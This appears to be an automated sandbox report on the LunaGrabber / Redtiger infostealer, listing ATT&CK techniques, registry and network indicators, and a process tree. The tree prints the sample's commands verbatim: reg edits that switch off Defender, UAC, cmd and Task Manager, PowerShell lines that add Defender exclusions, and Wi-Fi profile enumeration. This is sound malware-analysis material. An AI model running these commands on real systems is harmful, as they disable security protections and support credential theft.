LunaGrabber | d765f74af0a7e3986616b3018fd6190bd389458dcd408f208cb34072ef4eef12

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

Redtiger family
redtiger

UAC bypass 3 TTPs 4 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3380	powershell.exe
2008	powershell.exe
1404	powershell.exe
64	powershell.exe
3344	powershell.exe
940	powershell.exe
4268	powershell.exe
4596	powershell.exe

Disables RegEdit via registry modification 1 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	reg.exe

Disables Task Manager via registry modification
evasion

Disables cmd.exe use via registry modification 2 IoCs

persistence privilege_escalation

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableCMD = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableCMD = "1"	systemservice92.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	systemservice92.exe

Possible privilege escalation attempt 9 IoCs

exploit

pid	Process
3148	icacls.exe
5808	takeown.exe
4568	icacls.exe
5364	icacls.exe
5028	icacls.exe
3144	icacls.exe
4412	icacls.exe
5472	icacls.exe
2224	icacls.exe

Drops startup file 6 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\systemservice92.exe	systemservice92.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\0u1oh74wfit3v0vs.exe	final.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\0u1oh74wfit3v0vs.exe	final.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\kha82fx1pvhm2ryq.exe	systemservice92.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\kha82fx1pvhm2ryq.exe	systemservice92.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\systemservice92.exe	systemservice92.exe

Executes dropped EXE 2 IoCs

pid	Process
1564	systemservice92.exe
2412	systemservice92.exe

Impair Defenses: Safe Mode Boot 1 TTPs 1 IoCs

defense_evasion

Safe Mode Boot

T1562.009

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\Minimal	systemservice92.exe

Loads dropped DLL 64 IoCs

pid	Process
4648	final.exe
4648	final.exe
4648	final.exe
4648	final.exe
4648	final.exe
4648	final.exe
4648	final.exe
4648	final.exe
4648	final.exe
4648	final.exe
4648	final.exe
4648	final.exe
4648	final.exe
4648	final.exe
4648	final.exe
4648	final.exe
4648	final.exe
4648	final.exe
4648	final.exe
4648	final.exe
4648	final.exe
4648	final.exe
4648	final.exe
4648	final.exe
4648	final.exe
4648	final.exe
4648	final.exe
4648	final.exe
4648	final.exe
4648	final.exe
4648	final.exe
4648	final.exe
4648	final.exe
4648	final.exe
4648	final.exe
4648	final.exe
4648	final.exe
4648	final.exe
4648	final.exe
4648	final.exe
4648	final.exe
4648	final.exe
4648	final.exe
4648	final.exe
4648	final.exe
4648	final.exe
4648	final.exe
4648	final.exe
4648	final.exe
4648	final.exe
4648	final.exe
4648	final.exe
4648	final.exe
4648	final.exe
4648	final.exe
4648	final.exe
4648	final.exe
4648	final.exe
4648	final.exe
4648	final.exe
4648	final.exe
4648	final.exe
4648	final.exe
4648	final.exe

Modifies file permissions 1 TTPs 9 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
5472	icacls.exe
5364	icacls.exe
5028	icacls.exe
3148	icacls.exe
4568	icacls.exe
5808	takeown.exe
2224	icacls.exe
3144	icacls.exe
4412	icacls.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Drops desktop.ini file(s) 1 IoCs

description	ioc	Process
File created	C:\$Sys-Manager\desktop.ini	final.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs

Web Service

T1102

flow	ioc
15	discord.com
16	discord.com
22	discord.com
49	discord.com
51	discord.com

Looks up external IP address via web service 6 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
25	ipinfo.io
26	ipinfo.io
72	api64.ipify.org
73	api64.ipify.org
23	api.ipify.org
24	api.ipify.org

Enumerates processes with tasklist 1 TTPs 64 IoCs

discovery

Process Discovery

T1057

pid	Process
5032	tasklist.exe
644	tasklist.exe
5536	tasklist.exe
1584	tasklist.exe
5668	tasklist.exe
1760	tasklist.exe
5540	tasklist.exe
5208	tasklist.exe
3588	tasklist.exe
3244	tasklist.exe
2844	tasklist.exe
1760	tasklist.exe
3492	tasklist.exe
5684	tasklist.exe
536	tasklist.exe
268	tasklist.exe
5988	tasklist.exe
4412	tasklist.exe
1272	tasklist.exe
3744	tasklist.exe
5500	tasklist.exe
2940	tasklist.exe
4424	tasklist.exe
2328	tasklist.exe
3164	tasklist.exe
5248	tasklist.exe
116	tasklist.exe
3724	tasklist.exe
3724	tasklist.exe
3164	tasklist.exe
408	tasklist.exe
5756	tasklist.exe
5784	tasklist.exe
2332	tasklist.exe
6008	tasklist.exe
2152	tasklist.exe
1524	tasklist.exe
4128	tasklist.exe
1652	tasklist.exe
5256	tasklist.exe
2012	tasklist.exe
1520	tasklist.exe
4152	tasklist.exe
3028	tasklist.exe
4448	tasklist.exe
4040	tasklist.exe
5356	tasklist.exe
3320	tasklist.exe
3704	tasklist.exe
1624	tasklist.exe
1976	tasklist.exe
5596	tasklist.exe
5088	tasklist.exe
1200	tasklist.exe
5204	tasklist.exe
2792	tasklist.exe
5688	tasklist.exe
5612	tasklist.exe
916	tasklist.exe
2816	tasklist.exe
5268	tasklist.exe
3620	tasklist.exe
5272	tasklist.exe
5956	tasklist.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 4 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
892	cmd.exe
4208	cmd.exe
4380	cmd.exe
4564	cmd.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Detects Pyinstaller 1 IoCs

pyinstaller

resource	yara_rule
behavioral2/files/0x00070000000240e0-1257.dat	pyinstaller

Event Triggered Execution: Netsh Helper DLL 1 TTPs 9 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 3 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
2712	netsh.exe
624	cmd.exe
5220	netsh.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 00000000040000001a73a27760024bf60000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff0000000027010100000800001a73a2770000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed3a000000ffffffff0000000007000100006809001a73a277000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1d1a73a277000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000001a73a27700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe

Delays execution with timeout.exe 64 IoCs

pid	Process
4380	timeout.exe
4460	timeout.exe
4152	timeout.exe
5056	timeout.exe
4576	timeout.exe
5536	timeout.exe
212	timeout.exe
2868	timeout.exe
300	timeout.exe
436	timeout.exe
3148	timeout.exe
6048	timeout.exe
2400	timeout.exe
5568	timeout.exe
4748	timeout.exe
6036	timeout.exe
8	timeout.exe
1844	timeout.exe
2692	timeout.exe
5168	timeout.exe
592	timeout.exe
5680	timeout.exe
1572	timeout.exe
5716	timeout.exe
3408	timeout.exe
1172	timeout.exe
3648	timeout.exe
5656	timeout.exe
5124	timeout.exe
5512	timeout.exe
3648	timeout.exe
5152	timeout.exe
1720	timeout.exe
2808	timeout.exe
5484	timeout.exe
2372	timeout.exe
4400	timeout.exe
540	timeout.exe
8	timeout.exe
5340	timeout.exe
1136	timeout.exe
5908	timeout.exe
2612	timeout.exe
5212	timeout.exe
5616	timeout.exe
2644	timeout.exe
2372	timeout.exe
5804	timeout.exe
5720	timeout.exe
6052	timeout.exe
2548	timeout.exe
5704	timeout.exe
3888	timeout.exe
5660	timeout.exe
3940	timeout.exe
4676	timeout.exe
5744	timeout.exe
548	timeout.exe
5896	timeout.exe
4372	timeout.exe
6132	timeout.exe
5832	timeout.exe
4652	timeout.exe
3312	timeout.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
5752	vssadmin.exe

Kills process with taskkill 1 IoCs

pid	Process
4308	taskkill.exe

Modifies registry key 1 TTPs 12 IoCs

Modify Registry

pid	Process
2396	reg.exe
5104	reg.exe
1256	reg.exe
5848	reg.exe
5896	reg.exe
3904	reg.exe
5072	reg.exe
3320	reg.exe
1176	reg.exe
2412	reg.exe
4572	reg.exe
3088	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
2388	schtasks.exe
1872	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2412	systemservice92.exe
2412	systemservice92.exe
2412	systemservice92.exe
2412	systemservice92.exe
2412	systemservice92.exe
2412	systemservice92.exe
2412	systemservice92.exe
2412	systemservice92.exe
2412	systemservice92.exe
2412	systemservice92.exe
2412	systemservice92.exe
2412	systemservice92.exe
2412	systemservice92.exe
2412	systemservice92.exe
2412	systemservice92.exe
2412	systemservice92.exe
2412	systemservice92.exe
2412	systemservice92.exe
2412	systemservice92.exe
2412	systemservice92.exe
2412	systemservice92.exe
2412	systemservice92.exe
2412	systemservice92.exe
2412	systemservice92.exe
2412	systemservice92.exe
2412	systemservice92.exe
2412	systemservice92.exe
2412	systemservice92.exe
2412	systemservice92.exe
2412	systemservice92.exe
2412	systemservice92.exe
2412	systemservice92.exe
2412	systemservice92.exe
2412	systemservice92.exe
2412	systemservice92.exe
64	powershell.exe
64	powershell.exe
2412	systemservice92.exe
2412	systemservice92.exe
2412	systemservice92.exe
2412	systemservice92.exe
2412	systemservice92.exe
2412	systemservice92.exe
2412	systemservice92.exe
2412	systemservice92.exe
2412	systemservice92.exe
2412	systemservice92.exe
2412	systemservice92.exe
2412	systemservice92.exe
2412	systemservice92.exe
2412	systemservice92.exe
3344	powershell.exe
3344	powershell.exe
2412	systemservice92.exe
2412	systemservice92.exe
2412	systemservice92.exe
2412	systemservice92.exe
2008	powershell.exe
2008	powershell.exe
2412	systemservice92.exe
2412	systemservice92.exe
2412	systemservice92.exe
2412	systemservice92.exe
2412	systemservice92.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4648	final.exe
Token: SeDebugPrivilege	2152	tasklist.exe
Token: SeDebugPrivilege	4420	tasklist.exe
Token: SeDebugPrivilege	5164	tasklist.exe
Token: SeDebugPrivilege	2060	tasklist.exe
Token: SeDebugPrivilege	2844	tasklist.exe
Token: SeDebugPrivilege	4040	tasklist.exe
Token: SeDebugPrivilege	2412	systemservice92.exe
Token: SeDebugPrivilege	1584	tasklist.exe
Token: SeDebugPrivilege	2940	tasklist.exe
Token: SeDebugPrivilege	4972	tasklist.exe
Token: SeDebugPrivilege	2008	powershell.exe
Token: SeDebugPrivilege	64	powershell.exe
Token: SeDebugPrivilege	3344	powershell.exe
Token: SeDebugPrivilege	3380	powershell.exe
Token: SeIncreaseQuotaPrivilege	1720	wmic.exe
Token: SeSecurityPrivilege	1720	wmic.exe
Token: SeTakeOwnershipPrivilege	1720	wmic.exe
Token: SeLoadDriverPrivilege	1720	wmic.exe
Token: SeSystemProfilePrivilege	1720	wmic.exe
Token: SeSystemtimePrivilege	1720	wmic.exe
Token: SeProfSingleProcessPrivilege	1720	wmic.exe
Token: SeIncBasePriorityPrivilege	1720	wmic.exe
Token: SeCreatePagefilePrivilege	1720	wmic.exe
Token: SeBackupPrivilege	1720	wmic.exe
Token: SeRestorePrivilege	1720	wmic.exe
Token: SeShutdownPrivilege	1720	wmic.exe
Token: SeDebugPrivilege	1720	wmic.exe
Token: SeSystemEnvironmentPrivilege	1720	wmic.exe
Token: SeRemoteShutdownPrivilege	1720	wmic.exe
Token: SeUndockPrivilege	1720	wmic.exe
Token: SeManageVolumePrivilege	1720	wmic.exe
Token: 33	1720	wmic.exe
Token: 34	1720	wmic.exe
Token: 35	1720	wmic.exe
Token: 36	1720	wmic.exe
Token: SeDebugPrivilege	940	powershell.exe
Token: SeDebugPrivilege	1404	powershell.exe
Token: SeDebugPrivilege	4268	powershell.exe
Token: SeDebugPrivilege	5456	tasklist.exe
Token: SeIncreaseQuotaPrivilege	1720	wmic.exe
Token: SeSecurityPrivilege	1720	wmic.exe
Token: SeTakeOwnershipPrivilege	1720	wmic.exe
Token: SeLoadDriverPrivilege	1720	wmic.exe
Token: SeSystemProfilePrivilege	1720	wmic.exe
Token: SeSystemtimePrivilege	1720	wmic.exe
Token: SeProfSingleProcessPrivilege	1720	wmic.exe
Token: SeIncBasePriorityPrivilege	1720	wmic.exe
Token: SeCreatePagefilePrivilege	1720	wmic.exe
Token: SeBackupPrivilege	1720	wmic.exe
Token: SeRestorePrivilege	1720	wmic.exe
Token: SeShutdownPrivilege	1720	wmic.exe
Token: SeDebugPrivilege	1720	wmic.exe
Token: SeSystemEnvironmentPrivilege	1720	wmic.exe
Token: SeRemoteShutdownPrivilege	1720	wmic.exe
Token: SeUndockPrivilege	1720	wmic.exe
Token: SeManageVolumePrivilege	1720	wmic.exe
Token: 33	1720	wmic.exe
Token: 34	1720	wmic.exe
Token: 35	1720	wmic.exe
Token: 36	1720	wmic.exe
Token: SeDebugPrivilege	5964	tasklist.exe
Token: SeSecurityPrivilege	228	msiexec.exe
Token: SeDebugPrivilege	1840	tasklist.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4912 wrote to memory of 4648	4912	final.exe	83
PID 4912 wrote to memory of 4648	4912	final.exe	83
PID 4648 wrote to memory of 680	4648	final.exe	88
PID 4648 wrote to memory of 680	4648	final.exe	88
PID 4648 wrote to memory of 440	4648	final.exe	90
PID 4648 wrote to memory of 440	4648	final.exe	90
PID 4648 wrote to memory of 4564	4648	final.exe	91
PID 4648 wrote to memory of 4564	4648	final.exe	91
PID 4648 wrote to memory of 4380	4648	final.exe	92
PID 4648 wrote to memory of 4380	4648	final.exe	92
PID 4648 wrote to memory of 4208	4648	final.exe	93
PID 4648 wrote to memory of 4208	4648	final.exe	93
PID 4648 wrote to memory of 2388	4648	final.exe	94
PID 4648 wrote to memory of 2388	4648	final.exe	94
PID 440 wrote to memory of 2152	440	cmd.exe	100
PID 440 wrote to memory of 2152	440	cmd.exe	100
PID 440 wrote to memory of 4956	440	cmd.exe	101
PID 440 wrote to memory of 4956	440	cmd.exe	101
PID 4380 wrote to memory of 4404	4380	cmd.exe	102
PID 4380 wrote to memory of 4404	4380	cmd.exe	102
PID 680 wrote to memory of 1176	680	cmd.exe	103
PID 680 wrote to memory of 1176	680	cmd.exe	103
PID 4564 wrote to memory of 2348	4564	cmd.exe	104
PID 4564 wrote to memory of 2348	4564	cmd.exe	104
PID 4208 wrote to memory of 3440	4208	cmd.exe	105
PID 4208 wrote to memory of 3440	4208	cmd.exe	105
PID 4648 wrote to memory of 3040	4648	final.exe	106
PID 4648 wrote to memory of 3040	4648	final.exe	106
PID 4648 wrote to memory of 1968	4648	final.exe	108
PID 4648 wrote to memory of 1968	4648	final.exe	108
PID 1968 wrote to memory of 2412	1968	cmd.exe	111
PID 1968 wrote to memory of 2412	1968	cmd.exe	111
PID 3040 wrote to memory of 5028	3040	cmd.exe	112
PID 3040 wrote to memory of 5028	3040	cmd.exe	112
PID 4648 wrote to memory of 2328	4648	final.exe	113
PID 4648 wrote to memory of 2328	4648	final.exe	113
PID 440 wrote to memory of 1564	440	cmd.exe	110
PID 440 wrote to memory of 1564	440	cmd.exe	110
PID 440 wrote to memory of 2400	440	cmd.exe	115
PID 440 wrote to memory of 2400	440	cmd.exe	115
PID 4648 wrote to memory of 2908	4648	final.exe	116
PID 4648 wrote to memory of 2908	4648	final.exe	116
PID 2328 wrote to memory of 3144	2328	cmd.exe	118
PID 2328 wrote to memory of 3144	2328	cmd.exe	118
PID 2908 wrote to memory of 2396	2908	cmd.exe	119
PID 2908 wrote to memory of 2396	2908	cmd.exe	119
PID 4648 wrote to memory of 1876	4648	final.exe	120
PID 4648 wrote to memory of 1876	4648	final.exe	120
PID 4648 wrote to memory of 212	4648	final.exe	122
PID 4648 wrote to memory of 212	4648	final.exe	122
PID 1876 wrote to memory of 3148	1876	cmd.exe	124
PID 1876 wrote to memory of 3148	1876	cmd.exe	124
PID 212 wrote to memory of 5104	212	cmd.exe	125
PID 212 wrote to memory of 5104	212	cmd.exe	125
PID 4648 wrote to memory of 892	4648	final.exe	126
PID 4648 wrote to memory of 892	4648	final.exe	126
PID 892 wrote to memory of 4564	892	cmd.exe	128
PID 892 wrote to memory of 4564	892	cmd.exe	128
PID 440 wrote to memory of 4420	440	cmd.exe	129
PID 440 wrote to memory of 4420	440	cmd.exe	129
PID 440 wrote to memory of 5008	440	cmd.exe	130
PID 440 wrote to memory of 5008	440	cmd.exe	130
PID 440 wrote to memory of 6004	440	cmd.exe	131
PID 440 wrote to memory of 6004	440	cmd.exe	131

System policy modification 1 TTPs 1 IoCs

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoStore = "1"	systemservice92.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

Views/modifies file attributes 1 TTPs 4 IoCs

Hidden Files and Directories

T1564.001

pid	Process
4404	attrib.exe
3440	attrib.exe
2348	attrib.exe
4564	attrib.exe

C:\Users\Admin\AppData\Local\Temp\final.exe
"C:\Users\Admin\AppData\Local\Temp\final.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4912
- C:\Users\Admin\AppData\Local\Temp\final.exe
  "C:\Users\Admin\AppData\Local\Temp\final.exe"
  2⤵
  - Drops startup file
  - Loads dropped DLL
  - Drops desktop.ini file(s)
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4648
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /f"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:680
  - - C:\Windows\system32\reg.exe
      reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /f
      4⤵
      Modifies registry key
      PID:1176
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\$Sys-Manager\systemservice.bat"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:440
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:2152
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:4956
  - - C:\$Sys-Manager\systemservice92.exe
      "C:\$Sys-Manager\systemservice92.exe"
      4⤵
      Executes dropped EXE
      PID:1564
    - - C:\$Sys-Manager\systemservice92.exe
        
        "C:\$Sys-Manager\systemservice92.exe"
        5⤵
        Disables cmd.exe use via registry modification
        Drops file in Drivers directory
        Drops startup file
        Executes dropped EXE
        Impair Defenses: Safe Mode Boot
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        System policy modification
        
        PID:2412
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /f"
        6⤵
        
        PID:3588
        
        C:\Windows\system32\reg.exe
        
        reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /f
        7⤵
        Modifies registry key
        
        PID:1256
      - C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /f
        6⤵
        
        PID:1668
      - C:\Windows\SYSTEM32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableCMD /t REG_DWORD /d 1 /f
        6⤵
        Disables cmd.exe use via registry modification
        Modifies registry key
        
        PID:4572
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\'"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:64
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'D:\'"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:940
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f"
        6⤵
        
        PID:3320
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
        7⤵
        Modifies registry key
        
        PID:5848
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.exe'"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3344
      - C:\Windows\SYSTEM32\netsh.exe
        
        netsh wlan show profiles
        6⤵
        Event Triggered Execution: Netsh Helper DLL
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:2712
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.bat'"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:1404
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.vbs'"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:4268
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.py'"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2008
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist"
        6⤵
        
        PID:4184
        
        C:\Windows\system32\tasklist.exe
        
        tasklist
        7⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5456
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.pyw'"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:3380
      - C:\Windows\System32\Wbem\wmic.exe
        
        wmic product get name
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1720
      - C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
        6⤵
        
        PID:5160
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f"
        6⤵
        
        PID:5284
        
        C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
        7⤵
        UAC bypass
        Modifies registry key
        
        PID:5896
      - C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /f
        6⤵
        
        PID:5712
      - C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
        6⤵
        Modifies Windows Defender Real-time Protection settings
        
        PID:5888
      - C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v SubmitSamplesConsent /f
        6⤵
        
        PID:6104
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /f"
        6⤵
        
        PID:4816
